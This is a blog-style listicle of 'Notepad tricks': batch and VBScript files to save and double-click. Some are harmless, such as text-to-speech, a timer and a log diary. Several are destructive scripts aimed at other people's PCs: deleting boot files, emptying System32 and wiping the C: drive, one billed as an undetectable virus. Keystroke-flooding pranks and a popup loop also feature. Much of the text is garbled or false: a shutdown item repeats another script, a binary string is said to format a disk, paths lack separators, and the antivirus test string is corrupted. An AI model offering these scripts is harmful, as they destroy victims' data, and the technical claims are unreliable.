20 Cool Notepad Tricks You Should Know for your Computer

Everyone knows what notepad is, it is a simple text editor application available in Windows OS. It might look simple application but actually it possesses some special powers. Using notepad you can destroy someone’s PC or do something constructive. Now you might be confuse about What i’m talking about as Notepad app doesn’t have such built in features or does all this stuff own its own.

Super cool notepad tricks

Super cool notepad tricks

Well, it is the platform where you can write few lines of code that can then be compiled and run. These lines of codes can be used for tricking your Computer to perform some cool stuff. Below is the list of 21 Notepad Tricks codes that you should know which can really make you crazy.

1). Continually Pop Out CD Drive Using Notepad

Copy and paste the following into notepad and save it as a .vbs file. Double click on the .vbs file to see it work.

Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

2). Shutting Down Computer Using Notepad

Shut Down computer forcefully using Notepad

Shut Down computer forcefully using Notepad

Copy and paste the following into notepad and save it as a .bat file. Double click on the .bat file to see it work.

@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top

3). Open Notepad Continually in Your Friend’s Computer

Copy and paste the following into notepad and save it as a .bat file

@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top

4). Matrix Effect

Matrix effect using Notepad Trick

Matrix effect using Notepad Trick

Copy the below given code to your notepad….

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

and Save the file with .bat extension like Matrix.bat.

5).Test your Antivirus/Create a Fake Virus

Testing Antivirus program with Notepad Trick

Testing Antivirus program with Notepad Trick

Copy the below code in the notepad file to test your anti virus program for its effectiveness.

[email protected][4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Save it as “Anyname.exe” like testvirus.exe

Save this file aywhere on your computer and as soon as you save it, your anti virus program will detect the file as virus immediately and will attempt to delete it. This shows if your Antivirus is properly working or not.

6). Toggle Capslock Repeatedly Using Notepad

Toggle Capslock again and again

Toggle Capslock again and again

Just copy and Paste the code written down below into notepad which can toggle Caps Lock repeatedly.

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Remember to save it as a .vbs file and use it to see the magic.

7). Slow Typing Speed

This Notepad trick will cause the text to be typed slowly. All you need to do is just copy and paste the text below into notepad and save it as a .vbs file.

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

8). Converting Text to Speech Using Notepad.

Text to Speech - Notepad-Trick

Text to Speech – Notepad-Trick

Copy and paste the below code into notepad and save as a .vbs file.  When you double click on it or open it, it’ll start playing and you’ll get a dialog box asking what you want the computer to say.

Dim message, sapi
message=InputBox("What do you want me to say?","Speak to Me")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message

9). Constantly Repeat Messages

Paste the following code in the notepad file:

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

Save the file with any file name but with .bat as extension. For eg.Filename.bat

10).Format Your Hard Disk Using Just Notepad !!

Yes you can format your hard disk using just notepad. Copy an paste the following the code in notepad.

01100110011011110111001001101101011000010111010000 100000011000110011101001011100 0010000000101111010100010010111101011000

Save it as an .exe file like “Filename.exe”. Now when you double click on the file, your C: drive will be formatted. Be Careful while using it.

11). Deleting Startup Files Using Notepad

To destroy a PC, simplest way is to remove the files that help Windows to start or boot. It is not recommende to use it as this code really has the power to do it.

@ECHO OFF
ATTRIB -R -S -H C:AUTOEXEC.BAT
DEL C:AUTOEXEC.BAT
ATTRIB -R -S -H C:BOOT.INI
DEL C:BOOT.INI
ATTRIB -R -S -H C:NTLDR
DEL C:NTLDR
ATTRIB -R -S -H C:WINDOWSWIN.INI
DEL C:WINDOWSWIN.INI
SAVE IT AS .BAT FILE.

This will shut the computer down and delete files required to get your computer into a normal state. Now you PC will not boot again and you will loose your data.

12). Deleting System32 Files Using Notepad

Just copy this code, save it as a .bat file, and see what it does to that person’s system. It will delete all the System32 files required for the system to work in order.

DEL C:WINDOWSSYSTEM32*.*/Q

13). Hit Enter Continuously

Copy the below code to Notepad…

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

Save it as a .vbs file and see its magic.

14). Hit Backspace Continuously.

Copy the below code to notepad

MsgBox “Backspace again and again and AGAIN”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

And save as a .vbs file to make it work.

15). Typing Something Again and Again

Below is the code that automatically types something again and again. You can edit it to write anything you want.

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “I'll be typed again and again”
loop

Just copy the code in Notepad and save it as a .vbs file to make it work.

16) Creating a simple virus can’t be detected by any Antivirus

Copy and paste the below code to Notepad.

@Echo off
Del C: *.* |y

And save that as .bat. Now when you run it. it will delete the content of C: drive…

Please Note:: don’t run that .bat file on your system as it will delet all data from C: drive and will damage your PC.

17.) Count Down Timer

Copy and paste the following code into notepad.

@echo off
:Start
title timer
color EC
echo Type in an amount of time (Seconds)
set /p time=
color CE
:loop
cls
ping localhost -n 2 >nul
set /a time=%time%-1
echo %time%
if %time% EQU 0 goto Timesup
goto loop
:Timesup
title Time Is Up!
ping localhost -n 2 >nul
ping localhost -n 2 >nul
cls
echo The Time is up!
pause
cls
echo Thank you for using this software.
pause
goto Web
goto Exit
:Web
start http://www.notepadcodes.webs.com
:Exit
Exit
goto Exit

Save it as Timer.bat and enjoy!

18.) Timer – Shutdown Computer when Timeout

Copy and Paste the below mentioned code into Notepad and sva it as .bat file. for eg. “Filename.bat”

@echo off
:Start
title timer
color EC
echo Type in an amount of time (Seconds)
set /p time=
color CE
:loop
cls
ping localhost -n 2 >nul
set /a time=%time%-1
echo %time%
if %time% EQU 0 goto Timesup
goto loop
:Timesup
title Time Is Up!
ping localhost -n 2 >nul
ping localhost -n 2 >nul
color 5F
echo You have 20 seconds before Windows Will shut down!
ping localhost -n 20 >nul
ping localhost -n 2 >nul
ping localhost -n 2 >nul
ping localhost -n 1 >nul
ping localhost -n 1 >nul
ping localhost -n 1 >nul
goto Shutdown
:Shutdown
color 4F
echo Windows is now shutting down!
ping localhost -n 1 >nul
start C:WindowsSystem32Shutdown.exe -s

19.) Computer boot Program

 Copy and Paste the following into Notepad and save it as .bat file. Double click to run it and see the magic!!

@echo off
:Main
title ComputerBooter V0.1
cls
color A
echo.
echo.
echo 1} About This Program
echo 2} Exit This Program
echo.
echo 3} Shutdown Computer
echo 4} Restart Computer
echo 5} Logoff Computer
echo.
echo 6} Start Control Panel
echo 7} Start System32 Folder
echo.
echo 8} Crash your Computer
echo.
echo 9} Our coding Website
set /p select=
if %select% EQU 1 goto About
if %select% EQU 2 goto Exit
if %select% EQU 3 goto Shutdown
if %select% EQU 4 goto Restart
if %select% EQU 5 goto Logoff
if %select% EQU 6 goto Control
if %select% EQU 7 goto System32
if %select% EQU 8 goto Crash
if %select% EQU 9 goto Webpage
:About
title About ComputerBooter V0.1
color E
cls
echo.
echo.
echo ABOUT COMPUTERBOOTER 0.1 FOR WINDOWS
echo (BATCH FILE VERSION)
echo.
echo All Of this program was created by NotepadCodes
echo.
echo.
echo For more info visit http://www.notepadcodes.webs.com Or type in Start
set /p web=
if %web% EQU Start goto Webpage else goto Main
:Exit
Exit
goto Exit
:Shutdown
start C:WindowsSystem32Shutdown.exe -s -t 5 -c "ComputerBooter Will now Shutdown Your Computer"
goto Main
:Restart
start C:WindowsSystem32Shutdown.exe -r -t 5 -c "ComputerBooter Will now Shutdown Your Computer" 
goto Main
:Logoff
start C:WindowsSystem32Shutdown.exe -l -t 5 -c "ComputerBooter Will now Logoff Your Account"
goto Main
:Control
start Control Panel
goto Main
:System32
start C:WindowsSystem32
goto Main
:Webpage
echo Currently Loading
ping localhost -n 1 >nul
cls
echo Currently Loading.
ping localhost -n 1 >nul
cls
echo Currently Loading..
ping localhost -n 1 >nul
cls
echo Currently Loading...
ping localhost -n 1 >nul
cls
echo Successfully Loaded...
ping localhost -n 2 >nul
start http://www.notepadcodes.webs.com
echo Booting Up Menu...
ping localhost -n 2 >nul
goto Main
:Crash
start C:windowssystem32CMD.exe
goto Crash

Then save it as BOOT.bat and enjoy!

20.) Create Diary on Notepad

This Notepad trick will allow you to create Notepad note in such a format that whenever you edit your note, it will get saved with date and timestamp automatically. To do this, follow these steps:

  1. Open Notepad
  2. Type .LOG in first line.
  3. Save the file as Log.txt
  4. Now, write something to the file and it will automatically get saved with edited date and time.
LOG-Trick - Notepad

LOG-Trick – Notepad

That’s all!! Tell us which Notepad Trick you liked the most out of these 21 cool notepad tricks that you should know. Also mention if you find any other cool Notepad trick that we have not included in this post via comments down below. For all other update, Subscribe us and stay tuned with us for latest technology news, Updates and How to guides from Techposts

Get more stuff like this
in your inbox

Enter your Email address to subscribe to this blog and receive notification related to latest Tech updates and New posts directly in your inbox via email.

Leave a Reply

CommentLuv badge

Get more stuff like this
in your inbox

Enter your Email address to subscribe to this blog and receive notification related to latest Tech updates and New posts directly in your inbox via email.

By continuing to use the site, you agree to the use of cookies. more information

The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this. We use cookies to personalise content and ads, to provide social media features and to analyse our traffic.See More Details

Close